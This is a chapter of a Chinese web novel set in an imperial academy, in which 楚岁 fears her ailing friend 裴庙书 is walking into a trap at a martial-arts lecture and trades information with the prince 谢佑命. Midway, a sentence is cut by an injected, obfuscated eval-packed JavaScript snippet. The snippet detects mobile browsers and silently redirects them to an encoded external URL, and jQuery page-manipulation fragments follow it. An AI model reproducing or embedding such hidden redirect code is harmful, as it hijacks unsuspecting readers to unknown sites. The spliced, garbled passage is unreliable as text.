楚岁眼看着鲁博士走远,当即冲进堂内,紧接着将毛笔塞进书简,随手一卷便夺门而出,直奔天字堂。
不多时,天字堂也下了课。谢长乐依旧前呼后拥出门,瞥见楚岁杵在门前,走到她面前冷哼了一声,又什么都没说就走了。
古古怪怪。楚岁一脸莫名,摸不清谢长乐又在想什么。
然而因着前阵子的风言风语,裴庙书却被钟仪院一众学子孤立了。
虽然她是从京兆司完好无损地出来了,可到底人言可畏,因着刘念慈父亲,众人为了避险,便是辅教的活计,也不叫她再来了。
自那天从大牢出来后,裴庙书大病一场,脸色一日比一日差,唇部泛紫,身板愈发单薄。
待人都走了,楚岁背起搁在廊下的竹筐,方才入内,与霍灵澜帮着裴庙书收拾废纸杂物。
霍灵澜从桌案上捡起几团废纸,丢进筐中,满脸惊奇:“楚岁,你这是半夜做贼去了?”
她话刚说完,又警惕地瞥了眼窗外,压低声音道:“我可听说了,那墙上都嵌了铁片,你竟然还敢翻墙?”
楚岁幽幽道:“我一直都在屋里。”
霍灵澜指了指她眼下:“那你大半夜不睡觉,搁这儿修仙呢。”
裴庙书掩唇轻咳几声,袖中的手指微微蜷缩:“楚岁,我不过是染了风寒,不打紧的。你快回学舍歇着吧。”
楚岁随口道:“无妨,上课的时候已经补过觉了。”
霍灵澜深以为然,不由感叹:“果然是同道中人。”
裴庙书作势起身,忍俊不禁,苍白的唇角勾起一丝笑意:“这词可不是这么用的。我看你们俩这是意气相投。”
霍灵澜忙将她按回椅子上,神色一黯:“不过是些废纸罢了,下午又没课,我们两个动作快,你好好坐着。那天我要是坚持跟着你一起去京兆司,刘念慈就不会有机可趁,以权谋私强压着京兆司将你收押。”
她顿了顿,语气带着几分后怕:“还好你平安出来了。我听人说,那天夜里牢里死了个犯人,死状惨不忍睹。”
楚岁眉头跳了跳,旋即看向裴庙书。
只见她神色如常,笑意未减,只淡淡道:“不过是场风寒,过几日便好了。”
霍灵澜叹了口气,忧心地看着她,欲言又止,旋即话锋一转,故作轻快道:“早就听说宋铁精通拳法,刀法更是一绝,下午总算有机会见识到了。”
楚岁状若无意道:“庙书,看你精神不振,不如下午去我房里歇着,等过了酉时,就出书院了。”她旋即耷拉着脑袋,唉声叹气:“什么刀枪棍棒,听着就犯困。”
霍灵澜附和道:“是啊,楚岁现在一个人住,你去她那儿歇也自在些。”
裴庙书温声道:“我有自己的屋子,何必去叨扰楚岁。你们不必担心我。宋侍郎难得来国子监,我虽不擅长骑射,也想去请教一番,指望着骑射考核能拿个合格。”
霍灵澜见她态度坚决,不好再劝。转念一想,若是能借此机会能让庙书克服骑马的心结,也是桩好事。左右不过些闲言碎语,若有人敢胡咧咧,怼回去便是。
须臾,三人打扫完,出了钟仪院,一路往馔食堂行去。临近馔食堂,裴庙书停了下来:“灵澜、楚岁,你们去吃饭吧,我先回学舍喝药。”
霍灵澜扫了眼日晷,道:“那一会儿在校场等,我给你带些松软好克化的糕点。”
裴庙书笑着应好,随即转身,往右手边的学舍走去。她刚抬步,手腕被人一把攥住,惊讶回眸看去,竟是楚岁拉住了她。
楚岁原本欲挽留,却忽然怔住,目光死死盯着裴庙书耳朵里那一点红印,像是不久前才弄出的伤口。
裴庙书察觉到她的目光,泰然自若地偏了偏头,面色不改,笑着投去一个询问的眼神。
霍灵澜莫名道:“楚岁,你今天是怎么了?”
楚岁唇瓣几番合动,绞尽脑汁,终于临时想了个借口:“难得下午没有课,不如我们去放纸鸢吧?”
霍灵澜面色诧异,她以为自己已经算是贪玩,谁知楚岁更胜一筹。既不喜文也不喜武,连兵部侍郎亲自指点,也不为所动。
裴庙书轻轻拂开她的手,温声道:“楚岁,等事情结束后,有机会我们再去。”
*
楚岁浑浑噩噩地跟霍灵澜吃完饭,吃了什么也没想起来,连什么时候出的馔食堂都没反应过来,人已经跟着到了校场。
兴许不用等巧月问出做镇纸的工匠,过了今天下午,所有的谜底就能揭晓。
回想初遇到如今,麟趾园野伥,还有段小六的异常举止,其间有着太多巧合。
宋铁刚遇袭便来国子监讲武,聪慧如庙书,绝不可能不知道这根本就是个陷阱。
可庙书非去不可,那隔着的是血海深仇,如今她还能做什么。
离未时还有一刻,校场早已人山人海。各院学子摩肩接踵,互相推搡着,只为抢占前排位置。楚岁魂不守舍,被汹涌的人潮挤在后头,霍灵澜眼疾手快,一把将她拽到身侧。
校场嘈杂鼎沸,谢佑命掀起眼帘随意一扫,却一眼瞥见被人群淹没的楚岁。
明明置身在清一色玉色襕衫的学子中,她却格外扎眼。意识到这一点,谢佑命眸光微凝,自己竟也有些诧异。
她依旧扎着双环髻,几缕长发乖顺地垂在肩头,衬得少女灵巧无害。谢佑命不禁忆及那日压着少女的脑袋,似乎一只手便能覆盖,指尖微微动了动。
可此时,那双平日里清亮狡黠的眸子,异常呆滞。她就那样茫然站着,像是受到什么打击,任由霍灵澜在人群中扯来挤去。
突然,人群中有只手在她背后猛地一推!
楚岁踉跄前扑,险些迎面栽倒,而后方的人潮仍旧蜂拥而至。
她稍稍回神,身形一闪,堪堪避开踩踏而来的脚。
几乎同时,一道玉色身影飞身而至,立在她面前,似笑非笑道:“怎么连路都不会走了?”
闻言看去,但见谢佑命脸上依旧噙着漫不经心的笑。
楚岁却意外地,仿佛从那笑意窥见了一丝懊恼。谢佑命这样的人,也会有懊恼的时候吗?
她来不及细想,一把抓住谢佑命的手腕,几番腾挪,如游鱼般灵活自如,生生挤出人群。
楚岁的指尖带着些许温热,从指尖传来的瞬间,谢佑命浑身绷紧,整个人僵持任由她牵着,一时忘了甩开。
行走间,他唇角不自觉地微微扬起,又暗暗压了下来,只默然跟着楚岁,很快来到校场外。
那一刻,喧闹的校场仿佛被定格了一般。无数道目光,或诧异,或震惊,或艳羡,或不解,齐齐望着与人群逆行的二人。
准确地说,他们盯着的,是顺从跟在楚岁身后的谢佑命。
楚岁将谢佑命带出来后,很快松开手,确认四周无人,方才低声道:“宋铁不是遇刺了,怎么还会来国子监。”
谢佑命垂着眼睫,目光始终落在她方才攥着的手腕,说道:“宋铁的院子被谢敬修围了起来,只进不出,连府中下人都摸不清宋铁如今的状况。”
楚岁心下一咯噔,追问道:“那范东呢?”
谢佑命倏地抬眼,朝校场上方的旗台扬了扬下巴:“镇妖司八大术官系数在场,范东北乔装成金吾卫,正站在最末尾?”
楚岁:“宋铁今天真的会出现?”
谢佑命耸肩:“不知。谢敬修这次倒是聪明了一回,煞费苦心安排这出戏,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17498723|202626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为在众目睽睽下捉拿傀主,将功补过。”
说着,他又瞥了一眼神色恍惚的楚岁,挑眉道:“你在担心什么?找到傀主了?”
楚岁回过神,定定看向他:“那你呢?可发现傀主的踪影了?”
谢佑命唇角一勾,不以为意道:“这桩案子已移交给谢敬修查办,与我何干。”
楚岁不信,可又清楚谢佑命怎么会与她坦诚相待。
也难怪,他们不过是机缘巧合撞见,互换情报,各取所需罢了。
想到这,她眼睫颤了颤,旋即弯起眼,朝他笑道:“既如此,多谢十一殿下告知。”
话音刚落,谢佑命眸色骤沉,周遭气息瞬间冷冽,戾气横生。他冷冷看她一眼,却见她又垂下头,再不曾看来。
不知为何,一股难言的郁气倏然窜起,他立时拂袖而去。
谢佑命折返时,周身气压低得骇人。
众人暗戳戳打量他,见他黑着一张脸,犹如黑面阎罗,皆吓得连忙后退,让出一条宽道来。待谢佑命身形远去,众人才聚在一起窃窃私语:
“啧啧,楚岁平日混惯了也就罢了,关键时候竟还犯起花痴,当场对十一殿下动手动脚!”
“我说方才殿下怎么会随她走,原来是没来得及反应。瞧他这脸色,怕是真动了怒,当真是活腻了。你们还记不记得之前被折断手腕的学生......”
“快些离楚岁远点儿,省得连累了我们!”
人群末尾,许久未曾露面的陆盈,一脸怨毒盯着校场前的少女,眼里尽是不甘与妒恨。不过是打秋风来的穷丫头,凭什么?她怎么敢染指十一殿下!
楚岁浑然不觉,走进校场时,见学生们纷纷退避,道路格外顺畅,顿时纳闷:方才还抢成一团,怎么这会儿突然讲起礼来了?
抬头寻去,霍灵澜正立在谢佑命身后,楚岁转了个方向打算走过去,却看到霍灵澜眉毛乱飞,拼命朝她使眼色。
楚岁惊疑不定,顺着她的目光一看,只见谢佑命懒散地靠在椅上,可那张脸,阴沉得能滴出水来。
不知是谁得罪了他,刚刚说话时不是还好好的么。
楚岁登时停下脚步,想着眼下可不能触霉头,索性就原地站着。她这一站定,周围的人避让不及,慌慌张张后退,竟被她一人占了好大一块空地。
看着旁边几人挤得几乎要黏在一起,楚岁顿时有些惭愧,往旁边挪了挪,不好意思道:“这里宽敞,诸位不妨站过来些。”
话一出口,所有人连忙又往旁边挪开好几尺远。
楚岁:“.......”
她顾不上多想,只偏过头看向校场外。不管了,能拖一日算一日,只要庙书一出现,她就冲上去嗖嗖贴上几道定身符,至于旁的,等之后再问个清楚。
就在她转头的瞬间,谢佑命如有所感,眸光一动,旋即将目光投向楚岁,半晌没有收回。
过了一会儿,霍风悄然入内,俯身在谢佑命耳边低语几句。
听完,谢佑命不动声色起身,自席坐后方的小道离开。
坐在谢敬修身旁的谢朔始终关注着谢佑命的动向,见状,顿时嗤笑道:“好戏就快开场了,现在离场,莫不是怕捉到真凶,某人要颜面扫地!”
话刚出口,谢敬修立马剜来一记眼刀,低声呵斥:“八弟,如今言之尚早。慎言!”
谢朔缩了缩脖子,当即噤声,不再多言。
校场入口,楚岁察觉谢佑命走来,张了张嘴,正欲唤人——
却见他目不斜视,施施然从她身侧经过,连余光都未曾瞥来,根本没给她开口的机会。
楚岁悻悻地摸了摸鼻子,只见周围众人皆是一副“我懂”的神情,更加不明所以。